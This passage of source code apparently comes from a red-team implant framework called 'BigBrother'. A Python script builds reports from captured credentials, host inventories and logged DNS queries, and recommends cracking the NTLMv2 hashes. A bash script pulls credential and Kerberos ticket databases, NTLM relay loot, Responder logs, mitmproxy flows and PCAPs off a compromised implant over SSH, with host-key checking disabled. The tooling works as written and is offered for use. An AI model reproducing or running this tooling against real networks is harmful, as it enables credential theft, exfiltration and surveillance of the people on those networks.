conn = connect_db(os.path.join(data_dir, "databases", "dns_queries.db"))
if not conn:
return stats
# Total queries
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries")
stats["total_queries"] = rows[0]["cnt"] if rows else 0
# DoH detections
rows = safe_query(conn, "SELECT COUNT(*) as cnt FROM dns_queries WHERE is_doh = 1")
stats["doh_count"] = rows[0]["cnt"] if rows else 0
# Top queried domains
rows = safe_query(conn, """
SELECT domain, COUNT(*) as cnt
FROM dns_queries WHERE is_doh = 0
GROUP BY domain ORDER BY cnt DESC LIMIT 20
""")
stats["top_domains"] = [(r["domain"], r["cnt"]) for r in rows]
# Top querier IPs
rows = safe_query(conn, """
SELECT source_ip, COUNT(*) as cnt
FROM dns_queries WHERE is_doh = 0
GROUP BY source_ip ORDER BY cnt DESC LIMIT 15
""")
stats["top_queriers"] = [(r["source_ip"], r["cnt"]) for r in rows]
conn.close()
return stats
def collect_module_status(data_dir):
"""Collect module runtime status."""
modules = {}
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
if conn:
rows = safe_query(conn, """
SELECT module, status, started, updated
FROM module_status
""")
for r in rows:
modules[r["module"]] = {
"status": r["status"],
"started": r["started"],
"updated": r["updated"],
}
conn.close()
return modules
# ---------------------------------------------------------------------------
# Report generation
# ---------------------------------------------------------------------------
def generate_markdown(data_dir, title, creds, hosts, dns_stats, modules):
"""Generate Markdown report."""
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
lines = []
def add(text=""):
lines.append(text)
# Header
add(f"# {title}")
add(f"\n**Generated:** {now}")
add(f"**Data Source:** `{os.path.abspath(data_dir)}`\n")
add("---\n")
# Executive Summary
add("## 1. Executive Summary\n")
add(f"- **Hosts Discovered:** {len(hosts)}")
add(f"- **Credentials Captured:** {len(creds)}")
cred_types = Counter(c["type"] for c in creds)
for ctype, count in cred_types.most_common():
add(f" - {ctype}: {count}")
unique_users = len(set(c["username"] for c in creds if c["username"]))
add(f"- **Unique Users:** {unique_users}")
add(f"- **DNS Queries Logged:** {dns_stats['total_queries']:,}")
add(f"- **DoH Blind Spots:** {dns_stats['doh_count']}")
add(f"- **Modules Active:** {sum(1 for m in modules.values() if m['status'] == 'running')}")
add("")
# Host Inventory
add("## 2. Network Topology & Host Inventory\n")
if hosts:
add("| IP | MAC | Hostname | OS | Vendor |")
add("|---|---|---|---|---|")
for h in hosts[:100]: # Cap at 100 for readability
add(f"| {h.get('ip', '')} | {h.get('mac', '')} | {h.get('hostname', '')} "
f"| {h.get('os', '')} | {h.get('vendor', '')} |")
if len(hosts) > 100:
add(f"\n*({len(hosts)} total hosts — showing first 100)*\n")
else:
add("*No host data available.*\n")
# Credentials
add("\n## 3. Captured Credentials\n")
if creds:
add("| Time | User | Domain | Service | Type |")
add("|---|---|---|---|---|")
for c in creds[:50]:
ts = ""
if c.get("timestamp"):
try:
ts = datetime.fromtimestamp(c["timestamp"], tz=timezone.utc).strftime("%Y-%m-%d %H:%M")
except Exception:
pass
add(f"| {ts} | {c['username']} | {c['domain']} | {c['service']} | {c['type']} |")
if len(creds) > 50:
add(f"\n*({len(creds)} total credentials — showing first 50)*\n")
add("\n### Credential Summary by Type\n")
for ctype, count in cred_types.most_common():
add(f"- **{ctype}**: {count}")
add("\n### Unique Users by Service\n")
service_users = defaultdict(set)
for c in creds:
if c["username"]:
service_users[c["service"]].add(c["username"])
for svc, users in sorted(service_users.items()):
add(f"- **{svc}**: {', '.join(sorted(users)[:10])}"
+ (f" (+{len(users)-10} more)" if len(users) > 10 else ""))
else:
add("*No credentials captured.*\n")
# DNS Intelligence
add("\n## 4. DNS Intelligence\n")
add(f"- **Total Queries:** {dns_stats['total_queries']:,}")
add(f"- **DoH Detections (blind spots):** {dns_stats['doh_count']}\n")
if dns_stats["top_domains"]:
add("### Top Queried Domains\n")
add("| Domain | Queries |")
add("|---|---|")
for domain, count in dns_stats["top_domains"]:
add(f"| {domain} | {count:,} |")
if dns_stats["top_queriers"]:
add("\n### Top DNS Clients\n")
add("| IP | Queries |")
add("|---|---|")
for ip, count in dns_stats["top_queriers"]:
add(f"| {ip} | {count:,} |")
# Module Status
add("\n## 5. Module Status\n")
if modules:
add("| Module | Status | Started |")
add("|---|---|---|")
for name, info in sorted(modules.items()):
started = ""
if info.get("started"):
try:
started = datetime.fromtimestamp(
info["started"], tz=timezone.utc
).strftime("%Y-%m-%d %H:%M")
except Exception:
pass
add(f"| {name} | {info['status']} | {started} |")
else:
add("*No module status data available.*\n")
# Recommendations
add("\n## 6. Recommendations\n")
add("1. **Credential Analysis**: Run `crack_hashes.sh` against captured NTLMv2 hashes")
add("2. **File Extraction**: Run `extract_files.sh` on PCAPs for document recovery")
add("3. **Print Jobs**: Check for print traffic with `extract_print_jobs.sh`")
add("4. **Email Analysis**: Run `extract_emails.sh` for SMTP traffic recovery")
add("5. **Offline Analysis**: Run Zeek against PCAPs for deep protocol analysis")
add("")
add("---\n")
add(f"*Report generated by BigBrother operator tooling — {now}*")
return "\n".join(lines)
def markdown_to_html(markdown_text, title):
"""Convert Markdown report to standalone HTML."""
# Simple Markdown-to-HTML conversion (no external deps)
html_lines = []
in_table = False
in_list = False
html_lines.append(f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{title}</title>
<style>
body{{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;max-width:1000px;margin:0 auto;padding:40px 20px;color:#1d1d1f;line-height:1.6;background:#fafafa}}
h1{{color:#1a1a2e;border-bottom:3px solid #0066cc;padding-bottom:12px}}
h2{{color:#16213e;margin-top:32px;border-bottom:1px solid #ddd;padding-bottom:8px}}
h3{{color:#333;margin-top:20px}}
table{{border-collapse:collapse;width:100%;margin:12px 0;font-size:14px}}
th,td{{border:1px solid #ddd;padding:8px 12px;text-align:left}}
th{{background:#f0f2f5;font-weight:600}}
tr:nth-child(even){{background:#f9f9f9}}
tr:hover{{background:#f0f2f5}}
code{{background:#f0f2f5;padding:2px 6px;border-radius:4px;font-size:13px}}
hr{{border:none;border-top:1px solid #ddd;margin:24px 0}}
ul{{margin:8px 0}}
li{{margin:4px 0}}
strong{{color:#1a1a2e}}
em{{color:#666}}
</style>
</head>
<body>
""")
for line in markdown_text.split("\n"):
stripped = line.strip()
# Headings
if stripped.startswith("# "):
if in_table:
html_lines.append("</table>")
in_table = False
level = len(stripped) - len(stripped.lstrip("#"))
text = stripped.lstrip("# ").strip()
html_lines.append(f"<h{level}>{_inline_format(text)}</h{level}>")
continue
# Horizontal rule
if stripped == "---":
if in_table:
html_lines.append("</table>")
in_table = False
html_lines.append("<hr>")
continue
# Table
if "|" in stripped and stripped.startswith("|"):
cells = [c.strip() for c in stripped.split("|")[1:-1]]
if all(c.replace("-", "").replace(":", "") == "" for c in cells):
continue # Skip separator row
if not in_table:
html_lines.append("<table>")
in_table = True
tag = "th"
else:
tag = "td"
row = "".join(f"<{tag}>{_inline_format(c)}</{tag}>" for c in cells)
html_lines.append(f"<tr>{row}</tr>")
continue
if in_table and not stripped.startswith("|"):
html_lines.append("</table>")
in_table = False
# List items
if stripped.startswith("- ") or stripped.startswith("* "):
if not in_list:
html_lines.append("<ul>")
in_list = True
text = stripped[2:].strip()
html_lines.append(f"<li>{_inline_format(text)}</li>")
continue
elif stripped.startswith(tuple(f"{i}. " for i in range(1, 20))):
if not in_list:
html_lines.append("<ol>")
in_list = True
text = stripped.split(". ", 1)[1] if ". " in stripped else stripped
html_lines.append(f"<li>{_inline_format(text)}</li>")
continue
if in_list and not stripped.startswith(("-", "*")) and not stripped[:2].rstrip(".").isdigit():
html_lines.append("</ul>" if in_list else "</ol>")
in_list = False
# Empty line
if not stripped:
continue
# Paragraph
html_lines.append(f"<p>{_inline_format(stripped)}</p>")
if in_table:
html_lines.append("</table>")
if in_list:
html_lines.append("</ul>")
html_lines.append("</body></html>")
return "\n".join(html_lines)
def _inline_format(text):
"""Apply inline Markdown formatting (bold, code, italic)."""
import re
text = re.sub(r"\*\*(.+?)\*\*", r"<strong>\1</strong>", text)
text = re.sub(r"`(.+?)`", r"<code>\1</code>", text)
text = re.sub(r"\*(.+?)\*", r"<em>\1</em>", text)
return text
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
parser = argparse.ArgumentParser(
description="Generate BigBrother engagement report from synced data."
)
parser.add_argument("data_dir", help="Path to pulled data directory")
parser.add_argument("--output", "-o", help="Output directory (default: <data_dir>/report)")
parser.add_argument("--title", "-t", default="BigBrother Engagement Report",
help="Report title")
args = parser.parse_args()
data_dir = args.data_dir
output_dir = args.output or os.path.join(data_dir, "report")
if not os.path.isdir(data_dir):
print(f"[-] Data directory not found: {data_dir}", file=sys.stderr)
sys.exit(1)
os.makedirs(output_dir, exist_ok=True)
print(f"[*] Generating report: {args.title}")
print(f" Data: {os.path.abspath(data_dir)}")
print(f" Output: {os.path.abspath(output_dir)}")
print()
# Collect data
print("[*] Collecting credentials...")
creds = collect_credentials(data_dir)
print(f" Found {len(creds)} credentials")
print("[*] Collecting host inventory...")
hosts = collect_hosts(data_dir)
print(f" Found {len(hosts)} hosts")
print("[*] Collecting DNS statistics...")
dns_stats = collect_dns_stats(data_dir)
print(f" {dns_stats['total_queries']:,} queries logged")
print("[*] Collecting module status...")
modules = collect_module_status(data_dir)
print(f" {len(modules)} modules tracked")
print()
# Generate Markdown
print("[*] Generating Markdown report...")
md_report = generate_markdown(data_dir, args.title, creds, hosts, dns_stats, modules)
md_path = os.path.join(output_dir, "report.md")
with open(md_path, "w") as f:
f.write(md_report)
print(f" Saved: {md_path}")
# Generate HTML
print("[*] Generating HTML report...")
html_report = markdown_to_html(md_report, args.title)
html_path = os.path.join(output_dir, "report.html")
with open(html_path, "w") as f:
f.write(html_report)
print(f" Saved: {html_path}")
print()
print(f"[+] Report generation complete")
print(f" Markdown: {md_path}")
print(f" HTML: {html_path}")
if __name__ == "__main__":
main()
+138
View File
@@ -0,0 +1,138 @@
#!/usr/bin/env bash
# BigBrother Operator Script — Pull Data from Implant
#
# Syncs structured data from the implant over WireGuard or Tailscale
# tunnel. Pulls credential DBs, DNS logs, host inventory, PCAPs, and
# all collected intelligence data.
#
# Usage: ./pull_data.sh <implant_host> [output_dir]
#
# Examples:
# ./pull_data.sh bb-implant-01 # Tailscale hostname
# ./pull_data.sh 100.64.0.5 /opt/engagements/acme
# ./pull_data.sh 10.8.0.2 ~/cases/case-001 # WireGuard IP
#
# Requires: rsync, ssh, Tailscale or WireGuard connectivity
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------
IMPLANT="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/bb-pull-$(date +%Y%m%d-%H%M%S)}"
SSH_USER="${BB_SSH_USER:-root}"
SSH_KEY="${BB_SSH_KEY:-}"
BB_DATA_DIR="${BB_DATA_DIR:-/root/.bigbrother}"
if [[ -z "$IMPLANT" ]]; then
echo -e "${RED}Usage: $0 <implant_host> [output_dir]${NC}"
echo ""
echo "Environment variables:"
echo " BB_SSH_USER SSH user (default: root)"
echo " BB_SSH_KEY SSH private key path"
echo " BB_DATA_DIR BigBrother data dir on implant (default: /root/.bigbrother)"
exit 1
fi
SSH_OPTS="-o StrictHostKeyChecking=no -o ConnectTimeout=10"
if [[ -n "$SSH_KEY" ]]; then
SSH_OPTS="$SSH_OPTS -i $SSH_KEY"
fi
# ---------------------------------------------------------------------------
# Pre-flight
# ---------------------------------------------------------------------------
echo -e "${CYAN}[*] BigBrother Data Pull${NC}"
echo -e " Implant: ${IMPLANT}"
echo -e " Output: ${OUTPUT_DIR}"
echo -e " SSH User: ${SSH_USER}"
echo ""
# Test connectivity
echo -e "${YELLOW}[*] Testing connectivity...${NC}"
if ! ssh $SSH_OPTS "$SSH_USER@$IMPLANT" "echo ok" &>/dev/null; then
echo -e "${RED}[-] Cannot reach $IMPLANT via SSH${NC}"
exit 1
fi
echo -e "${GREEN}[+] Connected to $IMPLANT${NC}"
# Create output directory structure
mkdir -p "$OUTPUT_DIR"/{databases,pcaps,dns_logs,credentials,topology,intel,responder,config,loot}
# ---------------------------------------------------------------------------
# Pull data
# ---------------------------------------------------------------------------
RSYNC_OPTS="-avz --progress --compress-level=9"
if [[ -n "$SSH_KEY" ]]; then
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -i $SSH_KEY -o StrictHostKeyChecking=no'"
else
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -o StrictHostKeyChecking=no'"
fi
pull_file() {
local remote_path="$1"
local local_dir="$2"
local description="$3"
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
eval rsync $RSYNC_OPTS "$SSH_USER@$IMPLANT:$remote_path" "$local_dir/" 2>/dev/null || \
echo -e " ${RED}(not found or empty)${NC}"
}
pull_dir() {
local remote_path="$1"
local local_dir="$2"
local description="$3"
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
eval rsync $RSYNC_OPTS -r "$SSH_USER@$IMPLANT:$remote_path/" "$local_dir/" 2>/dev/null || \
echo -e " ${RED}(not found or empty)${NC}"
}
# SQLite databases
pull_file "$BB_DATA_DIR/state.db" "$OUTPUT_DIR/databases" "state database"
pull_file "$BB_DATA_DIR/dns_queries.db" "$OUTPUT_DIR/databases" "DNS query database"
pull_file "$BB_DATA_DIR/credentials.db" "$OUTPUT_DIR/databases" "credential database"
pull_file "$BB_DATA_DIR/topology.db" "$OUTPUT_DIR/databases" "topology database"
pull_file "$BB_DATA_DIR/intel.db" "$OUTPUT_DIR/databases" "intelligence database"
pull_file "$BB_DATA_DIR/kerberos.db" "$OUTPUT_DIR/databases" "Kerberos ticket database"
# PCAPs
pull_dir "$BB_DATA_DIR/pcaps" "$OUTPUT_DIR/pcaps" "PCAP files"
# Credential data
pull_dir "/opt/tools/Responder/logs" "$OUTPUT_DIR/responder" "Responder logs"
pull_dir "$BB_DATA_DIR/ntlmrelay_loot" "$OUTPUT_DIR/loot" "NTLM relay loot"
pull_file "$BB_DATA_DIR/mitmproxy_flows" "$OUTPUT_DIR/loot/" "mitmproxy flows"
# Intelligence data
pull_dir "$BB_DATA_DIR/topology" "$OUTPUT_DIR/topology" "topology maps"
pull_dir "$BB_DATA_DIR/intel" "$OUTPUT_DIR/intel" "intelligence data"
# Config (for reference)
pull_dir "$BB_DATA_DIR/config" "$OUTPUT_DIR/config" "implant configuration"
# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------
echo ""
echo -e "${GREEN}[+] Data pull complete${NC}"
echo -e " Location: ${OUTPUT_DIR}"
echo ""
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
echo ""
echo -e "${CYAN}[*] Next steps:${NC}"
echo " 1. Run extract_files.sh on PCAPs for file carving"
echo " 2. Run crack_hashes.sh to crack captured hashes"
echo " 3. Run generate_report.py for engagement report"